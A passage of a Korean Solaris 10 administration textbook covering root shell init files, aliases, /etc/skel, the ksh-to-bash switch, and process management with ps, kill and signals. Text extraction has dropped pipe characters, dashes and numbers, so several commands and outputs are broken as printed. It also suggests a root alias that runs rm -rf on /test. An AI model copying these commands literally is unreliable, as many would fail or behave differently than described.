253 (b). $HOME/.profile 해석 ~root/.profile 파일 l ~root/.profile은기본적으로존재하는파일이아니다. 관리자가솔라리스설치이후에만들고설정해주어야한다. l ~root/.profile은로그인에한번만실행이된다. 만약관리자가현재쉘에서 ~root/.profile을실행하기위해서는.( 마침표 ) 명령어를사용한다. #. /.profile l ~root/.profile 파일안에는보통변수설정들이들어간다. ( 예 ) PATH, MANPATH, LD_LIBRARY_PATH, EDITOR/VISUAL, ENV l ~/.kshrc 파일을사용하지않는경우에는 ~/.kshrc 파일의내용을 ~/.profile에선언해서사용하면된다. # vi ~/.profile # (1). stty erase ^H stty erase ^H # <Backspace> # stty erase ^? # <Delete> /* Set Terminal Type */ # dtterm & /* 터미널에따라특성이존재한다. */ # tty # stty # stty -a... erase = ^h... # stty erase <DELETE> # (2). ENV Variable /* 추가적인환경파일정의 */ ENV=~/.kshrc # (3). EDITOR Variable /* 기본적인편집기선언변수 */ EDITOR=/usr/bin/vi # VISUAL=/usr/bin/vi # (4). PATH Variable /* 명령어의실행위치정의변수 */ PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/ucb:/usr/dt/bin:/usr/ccs/bin:/usr/openwin/bin:/usr /lib/netsvc/yp:/usr/apache/bin:/usr/sfw/bin:/usr/sfw/sbin:/usr/local/sbin:/usr/local/bin:/ usr/local/ssl/bin PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/ucb PATH=$PATH:/usr/dt/bin:/usr/ccs/bin:/usr/openwin/bin PATH=$PATH:/usr/lib/netsvc/yp:/usr/apache/bin PATH=/usr/sfw/bin:/usr/sfw/sbin:/usr/local/sbin:/usr/local/bin:$PATH PATH=/usr/local/ssl/bin:$PATH PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/ucb\ :/usr/dt/bin:/usr/ccs/bin:/usr/openwin/bin\ :/usr/lib/netsvc/yp:/usr/apache/bin\ :/usr/sfw/bin:/usr/sfw/sbin:/usr/local/sbin:/usr/local/bin\ :/usr/local/ssl/bin # (5). MANPATH Variable /* 매뉴얼검색경로지정변수 */ MANPATH=/usr/share/man:/usr/man:/usr/openwin/share/man MANPATH=/usr/sfw/share/man:/usr/local/man:/usr/local/ssl/man:$MANPATH # (6) LD_LIBRARY_PATH Variable /* 라이브러리검색경로지정변수 */ LD_LIBRARY_PATH=/usr/lib:/usr/secure/lib:/usr/local/lib LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/ssl/lib:/usr/sfw/lib export ENV EDITOR PATH MANPATH LD_LIBRARY_PATH

254 (c). $HOME/.kshrc 파일의해석 ~root/.kshrc l ~root/.kshrc은기본적으로존재하는파일이아니다. 솔라리스설치이후에파일을생성하고설정해주어야한다. l ~root/.kshrc은로그인시에도실행이되지만, ksh 쉘이실행될때마다실행도된다. 만약관리자가현재쉘에서 ~root/.kshrc을실행하기위해서는.( 마침표 ) 명령어를사용한다. #. /.kshrc l ~root/.kshrc은설정되는내용들은 set -o, PS1 변수설정, alias 설정들을한다. # vi ~/.kshrc # (1). set -o /* 콘쉘자체의기능 */ set -o vi set -o trackall /* Tracked Alias (alias ls='ls') */ # set -o ignoreeof # set -o noclobber # (2). PS1 Variable /* 쉘프롬프트정의변수 */ # PS1=[$LOGNAME@`hostname`:'$PWD]# ' # EX) [root@solaris254:/]# # PS1=[`hostname`@'$PWD]# ' # EX) [solaris254@/]# # PS1='$PWD'"[`hostname`]# " # EX) /etc[sun02]# # PS1='$PWD> ' # EX) /etc> PS1=['$PWD]# ' # EX) [/]# export PS1 # (3). alias Function /* alias 기능설정 */ # (a). 기본적인 alias alias c='clear' /* 명령어를짧게사용하기위한설정 */ alias h='history' alias t='telnet ' alias a='cd /test && rm -rf /test/*' alias cp='cp -i' /* 명령어옵션 */ alias mv='mv -i' alias rm='rm -i' alias grep='grep i' alias compress='compress -v' alias gzip='gzip v' alias bzip2='bzip2 -v' alias cat='cat -n' alias df='df -h' alias ls='ls -hf' alias llt='ls -aihlf' alias ll='ls -ailhf more' # (b). 필요한경우선언하는 alias alias lsf='ls -al grep ^-' /* 새로운명령어를위한 alias */ alias lsd='ls -al grep ^d' alias dir='ls -ailhf more' alias ipconfig='ifconfig -a' alias bdf='df h alias topas='top' -----> 윈도우즈명령어실행 alias -----> 윈도우즈명령어실행 alias -----> HP-UX bdf 명령어 alias 선언 -----> AIX topas 명령어 alias 선언 alias nslookup='/usr/sbin/nslookup' /* 다른위치의명령어실행 */ alias vi='/usr/local/bin/vim' # (c). 편리한기능의 alias /* Webserver(Apache) /etc/apache/httpd.conf -----> Configuration File /var/apache/htdocs -----> Source Directory /var/apache/logs -----> Log Directory 설정파일을빨리편집하도록하는기능 */ # 설정파일 alias fconfig='vi /etc/ftpd/ftpaccess'

255 alias hconfig='vi /etc/apache/httpd.conf' # 소스디렉토리이동 alias hdir='cd /var/apache/htdocs' # 로그파일모니터링 alias mlog='tail -f /var/adm/messages' alias slog='tail -f /var/adm/sulog' alias sslog='tail -f /var/log/syslog' /* 실무에서많이사용되는로그파일이름형식 ( 예 ) file_1210.log # tail -f /logs/file_1210.log # tail -f /logs/file_`date +%m%d`.log # alias slog='tail -f /logs/file_`date +%m%d`.log' */ # (4). Function -----> alias pps='ps -ef head -1 ; ps -ef grep $1' 같은기능제공 pps () { if [ $# -ne 1 ] ; then echo Usage : $0 Process fi /usr/bin/ps -elf head -1 /usr/bin/ps -elf grep $1 grep -v grep } ppss () { if [ $# -ne 1 ] ; then echo Usage : $0 Process fi /usr/ucb/ps -aux head -1 /usr/ucb/ps -aux grep $1 grep -v grep } [ 참고 ] alias -> function -> script [ 참고 ] function 선언 / 확인 / 해제 # fun () { /* 함수정의 */ date cal } # fun /* 함수실행 */ # typeset -f /* 선언된모든함수확인 */ # unset -f fun /* 함수삭제 */ (8.4) 쉘별환경파일 (sh/ksh/csh User Initialization File) 쉘의종류에따라서환경파일의차이가있다. 다음은쉘별환경파일의종류를정리한것이다 종류환경파일설명 sh /etc/profile 로그인시모든사용자를위한환경파일 $HOME/.profile 로그인시사용자를위한환경파일 csh /etc/.login 로그인시모든사용자를위한환경파일 $HOME/.cshrc 로그인시사용자를위한환경파일 (csh 쉘이실행할때마다 ) $HOME/.login 로그인시사용자를위한환경파일 ksh /etc/profile 로그인시모든사용자를위한환경파일 $HOME/.profile 로그인시사용자를위한환경파일 $HOME/$ENV 로그인시사용자를위한환경파일 (ksh 쉘이실행할때마다 ) bash /etc/profile 로그인시모든사용자를위한환경파일 ~/.bash_profile 로그인시사용자를위한환경파일 ~/.bashrc 로그인시사용자를위한환경파일 (bash 쉘이실행할때마다 )

256 (8.5) 사용자기본환경파일 (Default User Initialization Files) /etc/skel (skelton) 디렉토리 l /etc/skel 디렉토리안에는사용자기본환경초기화파일들이존재한다. l 새로운사용자추가시 ( 예 : useradd 명령어를통해추가시 ) 에적용 ( 복사 ) 되는파일들이다 Shell Default File csh /etc/skel/local.login /etc/skel/local.cshrc ksh /etc/skel/local.profile [EX] /etc/skel 디렉토리 # useradd -m -d /export/home/user03 -s /bin/ksh user03 # passwd user03 # ls -al /export/home/user03 (# ls -al ~user03 /etc/skel) # ls -al /etc/skel # cat /export/home/user03/.profile # cat /etc/skel/.profile # vi /etc/skel/.profile # This is the default standard profile provided to a user. # They are expected to edit it to meet their own needs. MAIL=/usr/mail/${LOGNAME:?} # # Specific Configuration for Egular User # EDITOR=/usr/bin/vi ; export EDITOR LANG=C ; export LANG alias ll='ls -alf' # useradd -m -d /export/home/user04 -s /bin/ksh user04 # passwd user04 # ls -al /export/home/user04 # ls -al /etc/skel # cat /export/home/user04/.profile # cat /etc/skel/.profile # cat /export/home/user03/.profile # cat /export/home/user04/.profile [ 참고 ] 관리자가일반사용자의환경미리초기화하는방법 ( 주 ) /etc/profile 사용하는방법 ( 부 ) /etc/skel 사용하는방법

257 (8.6) 사용자변수선언 (User Variable Definition) l 사용자변수선언시 sh 계열과 csh 계열은차이점이존재한다. (a). csh 계열 (csh/tcsh style) 변수선언방법 # setenv VAR 5 변수확인방법 # echo $VAR 변수해제방법 # unset VAR (b). sh 계열 (sh/ksh/zsh/bash style) 변수선언방법변수확인방법변수해제방법 # VAR=5 ; export VAR # echo $VAR # unset VAR # man sh # man ksh # man csh # man bash

258 [ 참고 ] 쉘변환 (ksh -> bash) 1 로그인쉘변경및확인 # passwd -e Old shell: /bin/ksh New shell: /bin/bash <----- '/bin/bash' 입력 passwd: password information changed for root # grep root /etc/passwd root:x:0:0:super-user:/:/bin/bash 2 환경파일전환및수정 # mv /.profile /.bash_profile # mv /.kshrc /.bashrc # vi /.bash_profile (# man bash -> /ENV)... ( 중략 )... # (2). ENV Variable # ENV=~/.kshrc /* bash 쉘에는없는변수 */ BASH_ENV=$HOME/.bashrc if [ -n "$BASH_ENV" ]; then /* -n : Not null */. "$BASH_ENV" fi... ( 중략 )... # vi /.bashrc # (1). set -o set -o vi # set o trackall /* bash 쉘에는없는기능 */... ( 중략 )... [ 참고 ] PS1 변수설정 PS1='[\u@\h:\w]\$ ' ; export PS1 3 GUI 환경에서다시로그인로그아웃 (<CTRL + ALT + >) ====> 로그인 # ps PID TTY TIME CMD 1705 pts/3 0:00 bash -> bash 쉘확인 4 배시쉘의기능테스트 (1) ( 이전명령어되살리기 ) # date # cal # ls # < > < > < > # set -o vi # <ESC><K><K><J><J> 4 배시쉘의기능테스트 (2) ( 자동완성기능 ) # cd /et<tab> # cd /et<esc><\> ( 명령어검색 ) # ch[tab][tab] # get[tab][tab]

259 ( 디렉토리리스트확인및이동 ) # cd /test/[tab][tab] # vi /etc/host[tab] # vi /etc/host[tab][tab] # cd /etc/[tab][tab]

260 [ 참고 ] bash 쉘의명령어실행시간설정기능 l 만약명령어실행시간출력포맷을변경하고싶다면매뉴얼 (# man strftime(3)) 을참고하여변경하면된다. l HISTTIMEFORMAT 변수의설정은 ( 전역설정 ) /etc/profile 설정 ( 사용자설정 ) ~/.bash_profile 설정하면된다. l 솔라리스에설치된 ksh 쉘에서는이런기능이없다. ( 참고 ) IBM ksh 쉘에서는 EXTENDED_HISTORY 변수를통해서설정할수있다. # man bash /HISTTIMEFORMAT <----- List Line Mode에서수행... ( 중략 )... HISTTIMEFORMAT If this variable is set and not null, its value is used as a format string for strftime(3c) to print the time stamp associated with each history entry displayed by the history builtin. If this variable is set, time stamps are written to the history file so they may be preserved across shell sessions.... ( 중략 )... # vi /etc/profile... ( 중략 )... # # Bash Shell Configuration # if [ $SHELL = '/bin/bash' -o $SHELL = '/usr/bin/bash' ] ; then HISTTIMEFORMAT="%C " export HISTTIMEFORMAT fi umask 022 trap /etc/profile 전역설정 - $HOME/.bash_profile 사용자설정 # telnet localhost root 사용자로로그인 # history... ( 중략 ) Tue Jun 21 19:15:50 KST 2011 snoop -V 490 Tue Jun 21 19:15:50 KST 2011 c 491 Tue Jun 21 19:15:50 KST 2011 snoop -v 492 Tue Jun 21 19:15:50 KST 2011 c 493 Tue Jun 21 19:15:50 KST 2011 snoop -? 494 Tue Jun 21 19:15:50 KST 2011 c 495 Tue Jun 21 19:15:50 KST 2011 telnet Tue Jun 21 19:15:50 KST 2011 c 497 Tue Jun 21 19:15:50 KST 2011 telnet Tue Jun 21 19:15:50 KST 2011 clear 499 Tue Jun 21 19:15:50 KST 2011 env 500 Tue Jun 21 19:15:50 KST 2011 exit 501 Tue Jun 21 19:15:53 KST 2011 env grep HIST 502 Tue Jun 21 19:15:57 KST 2011 history 503 Tue Jun 21 19:16:04 KST 2011 clear 504 Tue Jun 21 19:16:26 KST 2011 history 505 Tue Jun 21 19:16:42 KST 2011 history

261 [ 참고 ] 언어변경 (Korean(ko) -> English(C)) [ 참고 ] 언어패키지 (Locale) 추가 / 삭제하는방법 언어패키지 (Locale) 추가방법 # localeadm -a korean -d /cdrom/cdrom0/solaris_10/product 언어패키지 (Locale) 삭제방법 # localeadm -r korean 현재언어패키지 (Locale) 확인방법 # localeadm -lc CD 안에들어있는 Locale 확인방법 # localeadm -lc -d /cdrom/cdrom0/solaris_10/product ( 현재쓰고있는언어확인 ) # echo $LANG # locale ( 지원되는언어확인 ) # locale -a ( 현재임시적으로언어를변경하는경우 ) # LANG=C ; export LANG # smc & # LANG=ko ; export LANG # smc & (GUI(JDS) 환경레벨에서언어를변경하는경우 ) [ CTRL + ALT + <- ] -> 로그아웃 -> Options -> Language -> 적당한언어선택 ( 시스템레벨에서언어를변경하는경우 ) => ( 권장 ) # vi /etc/default/init TZ=ROK /* TZ : Time Zone */ CMASK=022 /* CMASK : C Shell umask */ # LANG=ko /* ko : 한국어 */ LANG=C /* C : 영어 */ # reboot

262 프로세스 (Process) 란? 실행중인프로그램이다. 프로세스는컴퓨터내에서실행중인프로그램의인스턴스이다. 이용어는몇몇운영체계에서사용되는, " 태스크 " 라는용어와의미상으로가깝다. 유닉스나몇몇다른운영체계에서는, 프로그램이시작되면프로세스도시작된다. 태스크와마찬가지로, 프로세스는그프로세스가추적관리될수있게하기위한특정한데이터셋이관련되어실행중인프로그램이다. 여러명의사용자들에의해공유되고있는응용프로그램은일반적으로각사용자들의실행단계에서하나의프로세스를갖는다. 프로세스는자프로세스라고도불리는서브프로세스를시작시킬수있다. 자프로세스는부프로세스의복제로서부프로세스의자원을일부공유하는데, 부프로세스가종료되면더이상존재할수없다. 프로세스들은몇가지 IPC 방식을통하여정보를교환하거나그들의연산을동기화할수있다. IPC 방식의대표적인메쏘드는 (a)pipes 와 named pipes (b)message queueing (c)semaphores, (d)shared Memory (e)socket 등이다

263 프로세스정보 (Process Information) ps 명령어를통해서프로세스정보를확인할수있다. 이런정보는존재해야만출력이될수있다. 프로세스의정보는 /proc 디렉토리에하위에프로세스아이디 (PID) 번호와대응이되는이름을가진디렉토리에존재한다. 다음은기본적인프로세스정보에대한내용이다. - PID(Process Identification) - PPID(Parent Process ID) - UID/GID, EUID/EGID - Control Terminal (1). 프로세스정보가존재하는디렉토리 프로세스정보디렉토리 : /proc/pid # smc & /* Solaris Management Console : Sun 종합 tools */ [1] 1355 # Java Accessibility Bridge for GNOME loaded. <Enter> # ps (# ptree 1355) PID TTY TIME CMD 1222 pts/5 0:00 ksh 1405 pts/5 0:00 ps 1364 pts/5 0:07 java 1355 pts/5 0:00 ksh # ls -ld /proc/1355 (# ls -l /proc/1355 ; file /proc/1355/* ) dr-x--x--x 5 root root 월 19 12:31 /proc/1355 -> smc tool 종료 # ls -ld /proc/1355 /proc/1355: No such file or directory # ls /proc 0/ 1450/ 1491/ 1534/ 1561/ 1824/ 359/ 437/ 626/ 645/ 1/ 1454/ 1494/ 1536/ 161/ 2/ 368/ 438/ 627/ 680/ 121/ 146/ 1508/ 1540/ 1683/ 232/ 392/ 548/ 628/ 7/ 1329/ 147/ 1523/ 1542/ 1750/ 3/ 402/ 553/ 634/ 700/ 1353/ 1478/ 1525/ 1544/ 1751/ 305/ 403/ 554/ 639/ 796/ 1370/ 1480/ 1529/ 1546/ 1753/ 352/ 431/ 556/ 641/ 797/ 1448/ 1486/ 1531/ 1548/ 1767/ 357/ 435/ 565/ 642/ 885/ 145/ 1489/ 1533/ 1550/ 1769/ 358/ 436/ 574/ 644/ 9/ -> /proc 디렉토리안의번호들은 PID 번호디렉토리이다. -> 즉, 떠있는프로세스에대한리스트이기도한것이다. -> # ps -ef grep

264 [ 참고 ] procfs 특징 procfs 특징 (a). /proc 디렉토리하위에 PID 번호의디렉토리가생성되고그안에프로세스정보가쌓이게된다. /proc/pid 디렉토리하위에는프로세스의정보에관련한자세한내용이파일과디렉토리에존재하게된다. (b). /proc/pid 디렉토리의소유자는프로세스를실행시킨사람의소유이다. [ 참고 ] 프로세스정보를자세하게보기위해서는다음파일을참고한다. - 위의문서중 pldd, pfiles, pstack, ptree, ptime 명령어는반드시알아두자. pldd : 프로세스가사용하고있는동적라이브러리확인 (EX: pldd PID) pfiles : 프로세스가사용하고있는파일들확인 (EX: pfiles PID) pstack : 프로세스가사용하고있는 stack 공간확인 (EX: pstack PID) ptree : 프로세스 tree 구조확인 (EX: ptree, ptree PID) ptime : 프로세스가실행된시간확인 (EX: ptime PID) pmap : 프로세스가사용하고메모리구조확인 (EX: pmap PID) pargs : 프로세스가사용하고있는변수에대한확인 (EX: pargs PID) (2). PID (Process Identification) 프로그램을실행하면프로세스가되며, 각각의프로세스를식별하기위해할당되는번호로서 PID 번호가할당된다. (3). 부모프로세스 (PPID) 의의미확인 PPID(Parent PID) # ps # ksh # ps PID TTY TIME CMD 467 pts/3 0:00 ksh PID TTY TIME CMD 467 pts/3 0:00 ksh 490 pts/3 0:00 ksh -> PID 번호가낮은면먼저실행된프로세스이고, PID 번호가크면나중에실행된프로세스이다. # ps -l F S UID PID PPID C PRI NI ADDR SZ WCHAN TTY TIME CMD 8 S d4f1f d4f1f1a4 pts/3 0:00 ksh 8 S d4f1e d4f1e3a4 pts/3 0:00 ksh PID= # ptree 467 (# ptree 490) PID=490, PPID= [ 그림 ] 자식프로세스, 부모프로세스

265 (4). UID/GID, EUID/EGID 의의미확인 UID(User Identification) GID(Group Identification) EUID(Effective UID) EGID(Effective GID) 프로그램을실행시킨사용자가실행된프로세스의주인이된다. (5). 제어터미널의의미확인제어터미널필드에올수있는정보는다음과같다. 제어터미널 (Control Terminal) /dev/pts/5 가상터미널에실행시킨프로세스 /dev/term/b 시리얼터미널로접속하여실행시킨프로세스 /dev/console 콘솔로로그인하여실행시킨프로세스? 데몬프로세스 ( 일반적으로부팅시에실행된프로세스 )

266 프로세스관리 (1) 기본적인프로세스관리 (Default Process Administration) 프로세스실행 (Process Execution) 프로세스확인 (Process Verification) 프로세스종료 (Process Termination) (1). 프로세스실행 하나의프로그램을실행하면하나의프로세스가된다. 프로세스는 2 가지방법형태로실행이가능하며 (a) 첫번째방식은포그라이운드 (fg, foreground) 에서의실행이고, (b) 두번째방식은백그라운드 (bg, background) 에서의실행이다. 프로세스실행방법 (fg) # smc (# ls ) (bg) # smc & (# ls & ) (Foreground Process) 포그라운드프로세스의특징 fg ksh ksh smc # smc # ls l 서브프로세스인 smc 툴이종료되기전까지는원래 (Original) 쉘로돌아가지않는다. l ksh( 부모쉘 ) 을종료하면 smc 툴 ( 자식쉘 ) 도같이종료한다. (Background Process) 백그라운드프로세스의특징 bg ksh ksh smc # smc & # ls l ksh 쉘도사용할수있으면서 smc 툴도사용이가능하다. l 원래쉘 (ksh) 이종료되어도 smc 툴이종료하지않는다.(exit 명령어사용 ). 백그라운드로프로그램을실행하는경우 (EX: # smc &) l 보통백그라운트로실행시키는프로그램들은 GUI 툴들이다. l 실행시간이오래걸리는프로그램은보통백그라운드로실행한다. (EX: # find / -name core -type f -exec rm {} \; &)

267 (2). 프로세스확인 NAME ps - report process status DESCRIPTION The ps command prints information about active processes. Without options, ps prints information about processes that have the same effective user ID and the same controlling terminal as the invoker. The output contains only the process ID, terminal identifier, cumulative execution time, and the command name. Otherwise, the information that is displayed is controlled by the options. Some options accept lists as arguments. Items in a list can be either separated by commas or else enclosed in quotes and separated by commas or spaces. Values for proclist and grplist must be numeric. OPTIONS -a Lists information about all processes most frequently requested: all those except session leaders and processes not associated with a terminal. -c Prints information in a format that reflects scheduler properties as described in priocntl(1). The -c option affects the output of the -f and -l options, as described below. -e Lists information about every process now running. When the -eoption is specified, options -z, -t, -u, -U, -g, -G, -p, -g, -s and -a options have no effect. -f Generates a full listing. (See below for significance of columns in a full listing.) -l Generates a long listing. (See below.) -t term Lists only process data associated with term. Terminal identifiers are specified as a device file name, and an identifier. For example, term/a, or pts/0. -u uidlist Lists only process data whose effective user ID number or login name is given in uidlist. In the listing, the numerical user ID will be printed unless you give the -f option, which prints the login name. -U uidlist Lists information for processes whose real user ID numbers or login names are given in uidlist. The uidlist must be a single argument in the form of a blankor comma-separated list. DISPLAY FORMATS Under the -f option, ps tries to determine the command name and arguments given when the process was created by examining the user block. Failing this, the command name is printed, as it would have appeared without the -f option, in square brackets. The column headings and the meaning of the columns in a ps listing are given below; the letters f and l indicate the option (full or long, respectively) that causes the corresponding heading to appear; all means that the heading always appears. Note: These two options determine only what information is provided for a process; they do not determine which processes will be listed. F (l) Flags (hexadecimal and additive) associated with the process. These flags are available for historical purposes; no meaning should be currently ascribed to

268 S (l) UID (f,l) PID (all) PPID (f,l) them. The state of the process: O T W Z Process is running on a processor. Process is stopped, either by a job control signal or because it is being traced. Waiting: process is waiting for CPU usage to drop to the CPU-caps enforced limits. Zombie state: process terminated and parent not waiting. The effective user ID number of the process (the login name is printed under the -f option). The process ID of the process (this datum is necessary in order to kill a process). The process ID of the parent process. C (f,l) Processor utilization for scheduling (obsolete). Not printed when the -c option is used. CLS (f,l) PRI (l) Scheduling class. Printed only when the -c option is used. The priority of the process. Without the -c option, higher numbers mean lower priority. With the -c option, higher numbers mean higher priority. NI (l) Nice value, used in priority computation. Not printed when the -c option is used. Only processes in the certain scheduling classes have a nice value. ADDR (l) The memory address of the process. SZ (l) The total size of the process in virtual memory, including all mapped files and devices, in pages. See pagesize(1). WCHAN (l) The address of an event for which the process is sleeping (if blank, the process is running). STIME (f) The starting time of the process, given in hours, minutes, and seconds. (A process begun more than twenty-four hours before the ps inquiry is executed is given in months and days.) TTY (all) TIME (all) The controlling terminal for the process (the message,?, is printed when there is no controlling terminal). The cumulative execution time for the process. LTIME (all) The execution time for the lwp being reported. CMD (all) The command name (the full command name and its arguments, up to a limit of 80 characters, are printed under the -f option)

269 실행된프로세스를확인할때는 ps 명령어를사용한다. ( 프로세스확인방법 ) # /usr/bin/ps -ef grep inetd (# /usr/ucb/ps -aux grep inetd) ( 명령어옵션사용법 ) l 정보를자세히보는옵션 : -l, -f l 정보의범위를지정하는옵션 : -e, -a, -t, -U # ps /* 현재터미널에서실행된프로세스의간략한정보확인 */ # ps -l /* 현재터미널에서실행된프로세스의자세한정보확인 */ # ps -a /* 사용자프로세스에대한간략한정보확인 */ # ps -U 100 (# ps -U user01, # ps -U user01,user02,user03) /* 특정한사용자가실행시킨프로세스의간략한정보확인 */ # ps -t pts/5 /* 특정한터미널에서실행시킨프로세스의간략한정보확인 */ # ps -ef grep inetd (ps 명령어출력화면해석 ) # ps PID TTY TIME CMD 467 pts/3 0:00 ksh 종류 설명 PID 프로세스아이디 ( 식별번호 ) TTY 제어터미널 TIME CPU 사용누적시간 (Comunitive Time) CMD 명령어 (ps -l 명령어출력화면해석 ) # ps -l F S UID PID PPID C PRI NI ADDR SZ WCHAN TTY TIME CMD 8 S d4f1f d4f1f1a4 pts/3 0:00 ksh 종류설명 F 현재는의미가없음 S 프로세스의상태정보 (Process Status) - S : Sleeping, process is waiting for an event to complete. - O : Occupy, process is running on a processor. - R : Runnable, process is on run queue. - T : Stopped, either by a job control signal or because it is being traced - Z : Zombie, process terminated and parent not waiting ( 예 ) # ps -elf awk '$2 == "Z" {print $0}' UID 프로세스실행사용자 PID 프로세스아이디 ( 식별번호 ) PPID 부모프로세스아이디 ( 식별번호 ) PRI 프로세스우선순위 (Priorty) NI NICE 값, 프로세스의우선순위를조정하는값 ADDR 프로세스의메모리상의주소 SZ 가상메모리크기 (including all mapped files and devices, in pages. pasesize(1)) WCHAN 프로세스락 (lock) 또는이벤트시에사용하는프로세스휴식 (sleep) 주소 TTY 제어터미널 TIME CPU 사용누적시간 CMD 명령어

270 (ps -ef 명령어출력화면해석 ) # ps -ef more UID PID PPID C STIME TTY TIME CMD root :01:51? 0:03 sched 종류 설명 UID 프로세스실행사용자 PID 프로세스아이디 ( 식별번호 ) PPID 부모프로세스아이디 ( 식별번호 ) STIME 프로세스시작시간 (Start Time) TTY 제어터미널 TIME CPU 실행누적시간 CMD 명령어 ( 옵션과인자까지표시 ) [TERM1] user01 사용자윈도우 # telnet localhost user01 사용자로로그인 $ id $ vi /etc/passwd [TERM2] root 사용자윈도우 # ps e grep vi # ps ef grep vi [ 참고 ] 솔라리스시스템의모든프로세스구분모든프로세스종류 (Process Type) - 데몬 (Daemon Process) - 사용자프로세스 (User Process) < Daemon <-+ -e User Proc. -a <-+ <---+ [ 참고 ] Deamon 이란? 시스템 (System) 을위해또는서비스 (Service) 를위해백그라운드에서동작하는프로세스이다. [ 참고문서 ] 프로세스우선순위조정 (nice & renice) l -> "Solaris10" 게시판 -> 31번자료

271 (3). 프로세스종료 NAME kill - terminate or signal processes DESCRIPTION The kill utility sends a signal to the process or processes specified by each pid operand. For each pid operand, the kill utility will perform actions equivalent to the kill(2) function called with the following arguments: 1. The value of the pid operand will be used as the pid argument. 2. The sig argument is the value specified by the -s option, the -signal_name option, or the -signal_number option, or, if none of these options is specified, by SIGTERM. The signaled process must belong to the current user unless the user is the super-user. See NOTES for descriptions of the shell built-in versions of kill. OPTIONS -l (The letter ell.) Writes all values of signal_name supported by the implementation, if no operand is given. If an exit_status operand is given and it is a value of the? shell special parameter and wait corresponding to a process that was terminated by a signal, the signal_name corresponding to the signal that terminated the process will be written. If an exit_status operand is given and it is the unsigned decimal integer value of a signal number, the signal_name corresponding to that signal will be written. Otherwise, the results are unspecified. -s signal_name Specifies the signal to send, using one of the symbolic names defined in the <signal.h> description. Values of signal_name will be recognized in a case-independent fashion, without the SIG prefix. In addition, the symbolic name 0 will be recognized, representing the signal value zero. The corresponding signal will be sent instead of SIGTERM. -signal_name Equivalent to -s signal_name. -signal_number Specifies a non-negative decimal integer, signal_number, representing the signal to be used instead of SIGTERM, as the sig argument in the effective call to kill(2). pid One of the following: 1. A decimal integer specifying a process or process group to be signaled. The process or processes selected by positive, negative and zero values of the pid operand will be as described for the kill function. If process number 0 is specified, all processes in the process group are signaled. If the first pid operand is negative, it should be preceded by -- to keep it from being interpreted as an option. 2. A job control job ID that identifies a background process group to be signaled. The job control job ID notation is applicable only for invocations of kill in the current shell execution environment

272 Note: The job control job ID type of pid is available only on systems supporting the job control option. OPERANDS The following operands are supported: pid One of the following: EXAMPLES Example 1: Sending the kill signal Any of the commands: example% kill example% kill -s kill example% kill -s KILL A decimal integer specifying a process or process group to be signaled. The process or processes selected by positive, negative and zero values of the pid operand will be as described for the kill function. If process number 0 is specified, all processes in the process group are signaled. If the first pid operand is negative, it should be preceded by -- to keep it from being interpreted as an option. 2. A job control job ID that identifies a background process group to be signaled. The job control job ID notation is applicable only for invocations of kill in the current shell execution environment. Note: The job control job ID type of pid is available only on systems supporting the job control option. sends the SIGKILL signal to the process whose process ID is 100 and to all processes whose process group ID is 165, assuming the sending process has permission to send that signal to the specified processes, and that they exist. Example 2: Avoiding ambiguity with an initial negative number To avoid an ambiguity of an initial negative number argument specifying either a signal number or a process group, the former will always be the case. Therefore, to send the default signal to a process group (for example, 123), an application should use a command similar to one of the following: example% kill -TERM -123 example% kill ksh The syntax of the ksh kill is: kill [-sig][pid][%job]... kill -l The ksh kill sends either the TERM (terminate) signal or the specified signal to the specified jobs or processes. Signals are either given by number or by names (as given in signal.h(3head) stripped of the SIG prefix). If the signal being sent is TERM (terminate) or HUP (hangup), then the job or process will be sent a CONT (continue) signal if it is stopped. The argument job can be the process id of a process that is not a member of one of the active jobs. In the second form, kill -l, the signal numbers and names are listed

273 프로세스종료방법 # kill PID (# kill -15 PID) # kill PID1 PID2 # kill -9 PID 시그널 (Signal) SIGHUP 프로세스재시작 (HangUp) => # kill -1 PID 2 SIGINT 인터럽트 (Interrupt, <CTRL + C>) => # kill -2 PID 9 SIGKILL 강제종료 (force exit signal) => # kill -9 PID 15 SIGTERM 정상종료 (exit), 기본시그널 => # kill -15 PID [ 참고 ] 시그널 (Signal) 이란? 프로세스가생성하거나또는프로세스에게보내는비동기적알림이벤트이다. 대부분의동작은프로세스종료 (Exit), Core 파일생성 (Core), 프로세스정지 (Stop) 등이다. # man -s 3head signal (# man -s 3HEAD signal) NAME signal.h, signal - base signals SYNOPSIS #include <signal.h> DESCRIPTION A signal is an asynchronous notification of an event. A signal is said to be generated for (or sent to) a process when the event associated with that signal first occurs. of such events include hardware faults, timer expiration and terminal activity, as well as the invocation of the kill(2) or sigsend(2) functions. In some circumstances, the same event generates signals for multiple processes. A process may request a detailed notification of the source of the signal and the reason why it was generated. See siginfo.h(3head).... ( 중략 )... The signals currently defined by <signal.h> are as follows: Name Value Default Event SIGHUP 1 Exit Hangup (see termio(7i)) SIGINT 2 Exit Interrupt (see termio(7i)) SIGQUIT 3 Core Quit (see termio(7i)) SIGILL 4 Core Illegal Instruction SIGTRAP 5 Core Trace or Breakpoint Trap SIGABRT 6 Core Abort SIGEMT 7 Core Emulation Trap SIGFPE 8 Core Arithmetic Exception SIGKILL 9 Exit Killed SIGBUS 10 Core Bus Error SIGSEGV 11 Core Segmentation Fault SIGSYS 12 Core Bad System Call SIGPIPE 13 Exit Broken Pipe SIGALRM 14 Exit Alarm Clock SIGTERM 15 Exit Terminated... ( 중략 )... # kill -l /* 시그널의종류 */ EXIT HUP INT QUIT ILL TRAP ABRT EMT FPE KILL BUS SEGV SYS PIPE ALRM TERM USR1 USR2 CLD PWR WINCH URG POLL STOP TSTP CONT TTIN TTOU VTALRM PROF XCPU XFSZ WAITING LWP FREEZE THAW CANCEL LOST XRES JVM1 JVM2 RTMIN RTMIN+1 RTMIN+2 RTMIN+3 RTMAX-3 RTMAX-2 RTMAX-1 RTMAX # kill -l HUP /* HUP 시그널의번호확인 */ 1 # kill -l 1 /* 1 번시그널의이름확인 */ HUP

